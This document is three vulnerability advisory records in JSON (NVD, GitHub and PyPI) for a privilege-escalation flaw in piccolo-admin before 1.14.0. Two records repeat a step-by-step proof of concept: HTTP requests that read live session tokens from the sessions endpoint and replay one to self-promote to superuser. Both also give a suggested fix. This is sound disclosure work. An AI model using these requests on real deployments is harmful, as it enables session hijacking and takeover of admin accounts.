{
  "affected": [
    {
      "affectedData": [
        {
          "product": "piccolo_admin",
          "vendor": "piccolo-orm",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 1.14.0"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Piccolo Admin is an admin interface and content management system for Python, built on top of Piccolo. Prior to 1.14.0, piccolo_admin/endpoints.py uses superuser_validators to block PUT, PATCH, DELETE, and POST requests by non-superusers but permits GET requests to configured user and session tables, while piccolo_api/session_auth/tables.py exposes SessionsBase.token because the token column is not secret. In deployments that add the Sessions and User tables to create_admin, a non-superuser administrator can call GET /api/tables/sessions/, obtain another user\u0027s live session token, replay it as the Cookie id value to impersonate a superuser, and permanently set superuser to true on the attacker\u0027s own row. This issue is fixed in version 1.14.0."
    }
  ],
  "id": "CVE-2026-55485",
  "lastModified": "2026-09-09T21:09:13.080",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 8.8,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "LOW",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 5.9,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-55485",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "total"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-08-31T18:52:18.609691Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-08-28T20:18:27.657",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/piccolo-orm/piccolo_admin/commit/96ddae12baf12288056cbb0cda6f9e8d7e22c86d"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/piccolo-orm/piccolo_admin/releases/tag/1.14.0"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/piccolo-orm/piccolo_admin/security/advisories/GHSA-2gh4-jmwq-rr8w"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/piccolo-orm/piccolo_api/commit/520ec2567ae1d2cc417c8c0d1ad0ddc05549a8a4"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/piccolo-orm/piccolo_api/pull/331"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/piccolo-orm/piccolo_api/releases/tag/1.10.0"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/piccolo-orm/piccolo_admin/security/advisories/GHSA-2gh4-jmwq-rr8w"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Deferred",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-200"
        },
        {
          "lang": "en",
          "value": "CWE-269"
        },
        {
          "lang": "en",
          "value": "CWE-863"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.13.0"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "piccolo-admin"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.14.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55485"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-269",
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-28T18:14:13Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\n`piccolo_admin` uses a helper called `superuser_validators` to gate access to the user and session tables for non-superusers. The helper rejects `PUT`, `PATCH`, `DELETE`, and `POST`, but **does not reject `GET`**.\n\nThe `sessions` table stores live session tokens **in plaintext**, and the token column is not marked `secret=True`, so it is included in every `GET` response. Any non-superuser admin can therefore list every other user\u0027s live session token with one request, replay the token as their own `Cookie: id=\u2026`, impersonate that user (including the superuser), and then permanently self-promote by writing `superuser = true` on their own row.\n\nThe chain is reachable on a realistic, documented configuration: a deployer adds the `Sessions` (and `User`) tables to `create_admin([...])` so superusers have a UI to monitor and revoke sessions.\n\n## Affected component\n\n- **File**: `piccolo_admin/endpoints.py`\n- **Function**: `superuser_validators` (around line 419)\n\n```python\ndef superuser_validators(piccolo_crud: PiccoloCRUD, request: Request):\n    user: BaseUser = request.user.user\n    if not user.superuser:\n        if request.method.upper() in [\"PUT\", \"PATCH\", \"DELETE\", \"POST\"]:\n            raise HTTPException(\n                detail=\"Only superusers can perform these actions.\",\n                status_code=405,\n            )\n```\n\nThe method check is a **deny-list** instead of an **allow-list**; `GET` is absent. Compounding the issue, `SessionsBase.token` in `piccolo_api/session_auth/tables.py` is a `Varchar` without `secret=True`, so the default `exclude_secrets=True` in `PiccoloCRUD` does not strip it.\n\n## Preconditions\n\n1. Network reachability to the admin.\n2. Valid credentials for a non-superuser admin (`admin=True, superuser=False` \u2014 the default role created by `BaseUser.create_user(admin=True)`).\n3. The deployment includes the `Sessions` table (and typically the `User` table) in `create_admin([...])` \u2014 the documented pattern for \"active sessions\" management UIs.\n\n## Steps to reproduce\n\n1. **Log in as the non-superuser admin** (`john / john123`). Open the *Piccolo User* table and confirm john\u0027s `SUPERUSER` column is **\u2717**. *(See Screenshot 1.)*\n\u003cimg width=\"3024\" height=\"1430\" alt=\"01-john-piccolo_user-list\" src=\"https://github.com/user-attachments/assets/31a6f81e-7d12-434a-ac99-ff64e15511f9\" /\u003e\n\n2. **Attempt the target write directly.** Send the following request:\n\n   ```http\n   PATCH /api/tables/piccolo_user/2/ HTTP/1.1\n   Host: target:8001\n   Content-Type: application/json\n   Cookie: id=\u003cjohn\u0027s session\u003e; csrftoken=\u003ctoken\u003e\n   X-CSRFToken: \u003ctoken\u003e\n\n   {\"superuser\": true}\n   ```\n\n   The server returns:\n\n   ```\n   HTTP/1.1 405\n   {\"detail\":\"Only superusers can perform these actions.\"}\n   ```\n\n   The same response is shown both in the dashboard banner *(Screenshot 2)* and in Burp Repeater *(Screenshot 3)*. This establishes the privilege boundary that the bug will break.\n\u003cimg width=\"3024\" height=\"2158\" alt=\"02-john-save-blocked-405\" src=\"https://github.com/user-attachments/assets/81f4b0b6-fe58-43da-b63e-6161e5911fc0\" /\u003e\n\u003cimg width=\"1213\" height=\"713\" alt=\"03-john-save-blocked-405\" src=\"https://github.com/user-attachments/assets/2eb33b00-a209-4e92-b18b-1f6520dde702\" /\u003e\n\n3. **Leak the credential.** As the same john user, request:\n\n   ```http\n   GET /api/tables/sessions/ HTTP/1.1\n   Host: target:8001\n   Cookie: id=\u003cjohn\u0027s session\u003e; csrftoken=\u003ctoken\u003e\n   ```\n\n   Response: `200 OK` containing every active session in plaintext, e.g.\n\n   ```json\n   {\"rows\":[\n     {\"token\":\"jeb1d-IXIC0BWTOV6G-ApTksrbvdBDkZV9KN4taN2nE\",\"user_id\":1, ...},\n     {\"token\":\"...\",\"user_id\":2, ...},\n     ...\n   ]}\n   ```\n\n   Copy the `token` value of any row whose `user_id` matches the superuser. **That string IS the live session cookie of that user.** *(Screenshot 4.)*\n\u003cimg width=\"1512\" height=\"850\" alt=\"04-john-sees-all-session-tokens\" src=\"https://github.com/user-attachments/assets/3303231f-ed87-4b32-8cab-7aa480315529\" /\u003e\n\n4. **Replay the step-2 PATCH with the stolen cookie.** Send the exact same request as step 2, changing only the `Cookie: id=` value to the stolen token:\n\n   ```http\n   PATCH /api/tables/piccolo_user/2/ HTTP/1.1\n   Host: target:8001\n   Content-Type: application/json\n   Cookie: id=jeb1d-IXIC0BWTOV6G-ApTksrbvdBDkZV9KN4taN2nE; csrftoken=\u003ctoken\u003e\n   X-CSRFToken: \u003ctoken\u003e\n\n   {\"superuser\": true}\n   ```\n\n   Response: `200 OK`, body shows `\"superuser\": true` for john. *(Screenshot 5.)*\n\u003cimg width=\"1213\" height=\"713\" alt=\"05-john-self-promote\" src=\"https://github.com/user-attachments/assets/4399866a-06e8-4568-b599-922a5b16805e\" /\u003e\n\n5. **Verify persistence.** Log in fresh as `john / john123` (no stolen cookie). John is now a superuser. The stolen cookie is no longer needed \u2014 the elevation is permanent on john\u0027s own row.\n\n## Impact\n\nFull superuser takeover of the admin from any non-superuser admin account. The promoted attacker can:\n\n- read/write/delete any row in any table the admin exposes;\n- revoke any other session, locking out other admins;\n- change any user\u0027s password;\n- export data (including via the bulk CSV download forms);\n- plant payloads (e.g. CSV-formula injections) that fire when higher-trust operators open exports.\n\nPersistence is automatic \u2014 once the attacker writes `superuser=true` on their own row in step 4, the stolen cookie can be discarded.\n\n## Suggested fix\n\n**Primary (single-line):** make `superuser_validators` reject **all** requests from non-superusers \u2014 there is no legitimate non-superuser use case for the user or session tables in this context:\n\n```python\ndef superuser_validators(piccolo_crud, request):\n    if not request.user.user.superuser:\n        raise HTTPException(\n            status_code=403,\n            detail=\"Only superusers can access this resource.\",\n        )\n```\n\n**Defence in depth:** in `piccolo_api/session_auth/tables.py`, mark `SessionsBase.token` with `secret=True`. The existing `exclude_secrets=True` default on `PiccoloCRUD` then strips the field from every response, closing the leak even if the validator is later misconfigured by a downstream consumer.\n\n## Severity\n\n**CVSS 3.1: 8.8 HIGH** \u2014 `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H`\n\nReasoning:\n- **AV:N** \u2014 accessible over the network.\n- **AC:L** \u2014 single GET; no race or timing dependency.\n- **PR:L** \u2014 requires non-superuser admin credentials (the default admin role).\n- **UI:N** \u2014 no victim interaction needed.\n- **S:U** \u2014 scope kept Unchanged to be conservative; some auditors may prefer `S:C` (which yields 9.9 Critical) because crossing from admin to superuser breaks an explicit, named privilege gate.\n- **C:H / I:H / A:H** \u2014 full read, full write, full availability impact on the admin\u0027s data and on other users\u0027 sessions.\n\n## Weaknesses\n\n- **CWE-269** Improper Privilege Management *(primary)*\n- **CWE-200** Exposure of Sensitive Information to an Unauthorized Actor\n- **CWE-863** Incorrect Authorization\n\n## Notes for the maintainer\n\n- The vulnerability is reachable on any version where `superuser_validators` uses a method deny-list and `SessionsBase.token` is not `secret=True`. I tested against `piccolo_admin 1.13.0` + `piccolo_api 1.9.0`.\n- The shipped `admin_demo` does not expose the `Sessions` table, so the bug is not reproducible against the demo as-shipped. The PoC harness used a minimal `create_admin([..., TableConfig(User), TableConfig(Sessions)], auth_table=User, session_table=Sessions)` configuration, which mirrors the documented \"Sessions admin view\" pattern.\n- I\u0027m happy to coordinate disclosure timing and validate any candidate patch.",
  "id": "GHSA-2gh4-jmwq-rr8w",
  "modified": "2026-08-28T18:14:13Z",
  "published": "2026-08-28T18:14:13Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/piccolo-orm/piccolo_admin/security/advisories/GHSA-2gh4-jmwq-rr8w"
    },
    {
      "type": "WEB",
      "url": "https://github.com/piccolo-orm/piccolo_api/pull/331"
    },
    {
      "type": "WEB",
      "url": "https://github.com/piccolo-orm/piccolo_admin/commit/96ddae12baf12288056cbb0cda6f9e8d7e22c86d"
    },
    {
      "type": "WEB",
      "url": "https://github.com/piccolo-orm/piccolo_api/commit/520ec2567ae1d2cc417c8c0d1ad0ddc05549a8a4"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/piccolo-orm/piccolo_admin"
    },
    {
      "type": "WEB",
      "url": "https://github.com/piccolo-orm/piccolo_admin/releases/tag/1.14.0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/piccolo-orm/piccolo_api/releases/tag/1.10.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "piccolo-admin has a privilege escalation issue - admin to superuser via session-token disclosure in GET /api/tables/sessions/."
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "piccolo-admin",
        "purl": "pkg:pypi/piccolo-admin"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.14.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "0.1.0",
        "0.1.1",
        "0.1.2",
        "0.1.3",
        "0.1.4",
        "0.10.0",
        "0.10.1",
        "0.10.2",
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        "0.11.0",
        "0.11.1",
        "0.11.10",
        "0.11.11",
        "0.11.12",
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        "0.11.5",
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        "0.11.7",
        "0.11.8",
        "0.11.9",
        "0.12.0",
        "0.12.1",
        "0.13.0",
        "0.13.1",
        "0.13.2",
        "0.14.0",
        "0.15.0",
        "0.15.1",
        "0.15.2",
        "0.16.0",
        "0.16.1",
        "0.17.0",
        "0.18.0",
        "0.18.1",
        "0.18.2",
        "0.19.0",
        "0.19.1",
        "0.19.2",
        "0.19.3",
        "0.19.4",
        "0.19.5",
        "0.19.6",
        "0.2.0",
        "0.20.0",
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        "0.48.0",
        "0.49.0",
        "0.5.0",
        "0.5.1",
        "0.50.0",
        "0.51.0",
        "0.52.0",
        "0.53.0",
        "0.54.0",
        "0.55.0",
        "0.56.0",
        "0.57.0",
        "0.58.0",
        "0.6.0",
        "0.6.1",
        "0.6.2",
        "0.6.3",
        "0.6.4",
        "0.6.5",
        "0.6.6",
        "0.7.0",
        "0.8.0",
        "0.8.1",
        "0.9.0",
        "0.9.1",
        "0.9.2",
        "1.0.0",
        "1.1.0",
        "1.1.1",
        "1.1.2",
        "1.1.3",
        "1.10.0",
        "1.11.0",
        "1.12.0",
        "1.13.0",
        "1.2.0",
        "1.2.1",
        "1.2.2",
        "1.3.0",
        "1.3.1",
        "1.3.2",
        "1.3.3",
        "1.4.0",
        "1.5.0",
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        "1.8.1",
        "1.8.2",
        "1.9.0",
        "1.9.1"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55485",
    "GHSA-2gh4-jmwq-rr8w"
  ],
  "details": "## Summary\n\n`piccolo_admin` uses a helper called `superuser_validators` to gate access to the user and session tables for non-superusers. The helper rejects `PUT`, `PATCH`, `DELETE`, and `POST`, but **does not reject `GET`**.\n\nThe `sessions` table stores live session tokens **in plaintext**, and the token column is not marked `secret=True`, so it is included in every `GET` response. Any non-superuser admin can therefore list every other user\u0027s live session token with one request, replay the token as their own `Cookie: id=\u2026`, impersonate that user (including the superuser), and then permanently self-promote by writing `superuser = true` on their own row.\n\nThe chain is reachable on a realistic, documented configuration: a deployer adds the `Sessions` (and `User`) tables to `create_admin([...])` so superusers have a UI to monitor and revoke sessions.\n\n## Affected component\n\n- **File**: `piccolo_admin/endpoints.py`\n- **Function**: `superuser_validators` (around line 419)\n\n```python\ndef superuser_validators(piccolo_crud: PiccoloCRUD, request: Request):\n    user: BaseUser = request.user.user\n    if not user.superuser:\n        if request.method.upper() in [\"PUT\", \"PATCH\", \"DELETE\", \"POST\"]:\n            raise HTTPException(\n                detail=\"Only superusers can perform these actions.\",\n                status_code=405,\n            )\n```\n\nThe method check is a **deny-list** instead of an **allow-list**; `GET` is absent. Compounding the issue, `SessionsBase.token` in `piccolo_api/session_auth/tables.py` is a `Varchar` without `secret=True`, so the default `exclude_secrets=True` in `PiccoloCRUD` does not strip it.\n\n## Preconditions\n\n1. Network reachability to the admin.\n2. Valid credentials for a non-superuser admin (`admin=True, superuser=False` \u2014 the default role created by `BaseUser.create_user(admin=True)`).\n3. The deployment includes the `Sessions` table (and typically the `User` table) in `create_admin([...])` \u2014 the documented pattern for \"active sessions\" management UIs.\n\n## Steps to reproduce\n\n1. **Log in as the non-superuser admin** (`john / john123`). Open the *Piccolo User* table and confirm john\u0027s `SUPERUSER` column is **\u2717**. *(See Screenshot 1.)*\n\u003cimg width=\"3024\" height=\"1430\" alt=\"01-john-piccolo_user-list\" src=\"https://github.com/user-attachments/assets/31a6f81e-7d12-434a-ac99-ff64e15511f9\" /\u003e\n\n2. **Attempt the target write directly.** Send the following request:\n\n   ```http\n   PATCH /api/tables/piccolo_user/2/ HTTP/1.1\n   Host: target:8001\n   Content-Type: application/json\n   Cookie: id=\u003cjohn\u0027s session\u003e; csrftoken=\u003ctoken\u003e\n   X-CSRFToken: \u003ctoken\u003e\n\n   {\"superuser\": true}\n   ```\n\n   The server returns:\n\n   ```\n   HTTP/1.1 405\n   {\"detail\":\"Only superusers can perform these actions.\"}\n   ```\n\n   The same response is shown both in the dashboard banner *(Screenshot 2)* and in Burp Repeater *(Screenshot 3)*. This establishes the privilege boundary that the bug will break.\n\u003cimg width=\"3024\" height=\"2158\" alt=\"02-john-save-blocked-405\" src=\"https://github.com/user-attachments/assets/81f4b0b6-fe58-43da-b63e-6161e5911fc0\" /\u003e\n\u003cimg width=\"1213\" height=\"713\" alt=\"03-john-save-blocked-405\" src=\"https://github.com/user-attachments/assets/2eb33b00-a209-4e92-b18b-1f6520dde702\" /\u003e\n\n3. **Leak the credential.** As the same john user, request:\n\n   ```http\n   GET /api/tables/sessions/ HTTP/1.1\n   Host: target:8001\n   Cookie: id=\u003cjohn\u0027s session\u003e; csrftoken=\u003ctoken\u003e\n   ```\n\n   Response: `200 OK` containing every active session in plaintext, e.g.\n\n   ```json\n   {\"rows\":[\n     {\"token\":\"jeb1d-IXIC0BWTOV6G-ApTksrbvdBDkZV9KN4taN2nE\",\"user_id\":1, ...},\n     {\"token\":\"...\",\"user_id\":2, ...},\n     ...\n   ]}\n   ```\n\n   Copy the `token` value of any row whose `user_id` matches the superuser. **That string IS the live session cookie of that user.** *(Screenshot 4.)*\n\u003cimg width=\"1512\" height=\"850\" alt=\"04-john-sees-all-session-tokens\" src=\"https://github.com/user-attachments/assets/3303231f-ed87-4b32-8cab-7aa480315529\" /\u003e\n\n4. **Replay the step-2 PATCH with the stolen cookie.** Send the exact same request as step 2, changing only the `Cookie: id=` value to the stolen token:\n\n   ```http\n   PATCH /api/tables/piccolo_user/2/ HTTP/1.1\n   Host: target:8001\n   Content-Type: application/json\n   Cookie: id=jeb1d-IXIC0BWTOV6G-ApTksrbvdBDkZV9KN4taN2nE; csrftoken=\u003ctoken\u003e\n   X-CSRFToken: \u003ctoken\u003e\n\n   {\"superuser\": true}\n   ```\n\n   Response: `200 OK`, body shows `\"superuser\": true` for john. *(Screenshot 5.)*\n\u003cimg width=\"1213\" height=\"713\" alt=\"05-john-self-promote\" src=\"https://github.com/user-attachments/assets/4399866a-06e8-4568-b599-922a5b16805e\" /\u003e\n\n5. **Verify persistence.** Log in fresh as `john / john123` (no stolen cookie). John is now a superuser. The stolen cookie is no longer needed \u2014 the elevation is permanent on john\u0027s own row.\n\n## Impact\n\nFull superuser takeover of the admin from any non-superuser admin account. The promoted attacker can:\n\n- read/write/delete any row in any table the admin exposes;\n- revoke any other session, locking out other admins;\n- change any user\u0027s password;\n- export data (including via the bulk CSV download forms);\n- plant payloads (e.g. CSV-formula injections) that fire when higher-trust operators open exports.\n\nPersistence is automatic \u2014 once the attacker writes `superuser=true` on their own row in step 4, the stolen cookie can be discarded.\n\n## Suggested fix\n\n**Primary (single-line):** make `superuser_validators` reject **all** requests from non-superusers \u2014 there is no legitimate non-superuser use case for the user or session tables in this context:\n\n```python\ndef superuser_validators(piccolo_crud, request):\n    if not request.user.user.superuser:\n        raise HTTPException(\n            status_code=403,\n            detail=\"Only superusers can access this resource.\",\n        )\n```\n\n**Defence in depth:** in `piccolo_api/session_auth/tables.py`, mark `SessionsBase.token` with `secret=True`. The existing `exclude_secrets=True` default on `PiccoloCRUD` then strips the field from every response, closing the leak even if the validator is later misconfigured by a downstream consumer.\n\n## Severity\n\n**CVSS 3.1: 8.8 HIGH** \u2014 `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H`\n\nReasoning:\n- **AV:N** \u2014 accessible over the network.\n- **AC:L** \u2014 single GET; no race or timing dependency.\n- **PR:L** \u2014 requires non-superuser admin credentials (the default admin role).\n- **UI:N** \u2014 no victim interaction needed.\n- **S:U** \u2014 scope kept Unchanged to be conservative; some auditors may prefer `S:C` (which yields 9.9 Critical) because crossing from admin to superuser breaks an explicit, named privilege gate.\n- **C:H / I:H / A:H** \u2014 full read, full write, full availability impact on the admin\u0027s data and on other users\u0027 sessions.\n\n## Weaknesses\n\n- **CWE-269** Improper Privilege Management *(primary)*\n- **CWE-200** Exposure of Sensitive Information to an Unauthorized Actor\n- **CWE-863** Incorrect Authorization\n\n## Notes for the maintainer\n\n- The vulnerability is reachable on any version where `superuser_validators` uses a method deny-list and `SessionsBase.token` is not `secret=True`. I tested against `piccolo_admin 1.13.0` + `piccolo_api 1.9.0`.\n- The shipped `admin_demo` does not expose the `Sessions` table, so the bug is not reproducible against the demo as-shipped. The PoC harness used a minimal `create_admin([..., TableConfig(User), TableConfig(Sessions)], auth_table=User, session_table=Sessions)` configuration, which mirrors the documented \"Sessions admin view\" pattern.\n- I\u0027m happy to coordinate disclosure timing and validate any candidate patch.",
  "id": "PYSEC-2026-3882",
  "modified": "2026-09-10T11:02:25.365424Z",
  "published": "2026-09-10T09:44:58.292770Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/piccolo-orm/piccolo_admin/security/advisories/GHSA-2gh4-jmwq-rr8w"
    },
    {
      "type": "WEB",
      "url": "https://github.com/piccolo-orm/piccolo_api/pull/331"
    },
    {
      "type": "WEB",
      "url": "https://github.com/piccolo-orm/piccolo_admin/commit/96ddae12baf12288056cbb0cda6f9e8d7e22c86d"
    },
    {
      "type": "WEB",
      "url": "https://github.com/piccolo-orm/piccolo_api/commit/520ec2567ae1d2cc417c8c0d1ad0ddc05549a8a4"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/piccolo-orm/piccolo_admin"
    },
    {
      "type": "WEB",
      "url": "https://github.com/piccolo-orm/piccolo_admin/releases/tag/1.14.0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/piccolo-orm/piccolo_api/releases/tag/1.10.0"
    },
    {
      "type": "PACKAGE",
      "url": "https://pypi.org/project/piccolo-admin"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-2gh4-jmwq-rr8w"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-55485"
    }
  ],
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "piccolo-admin has a privilege escalation issue - admin to superuser via session-token disclosure in GET /api/tables/sessions/."
}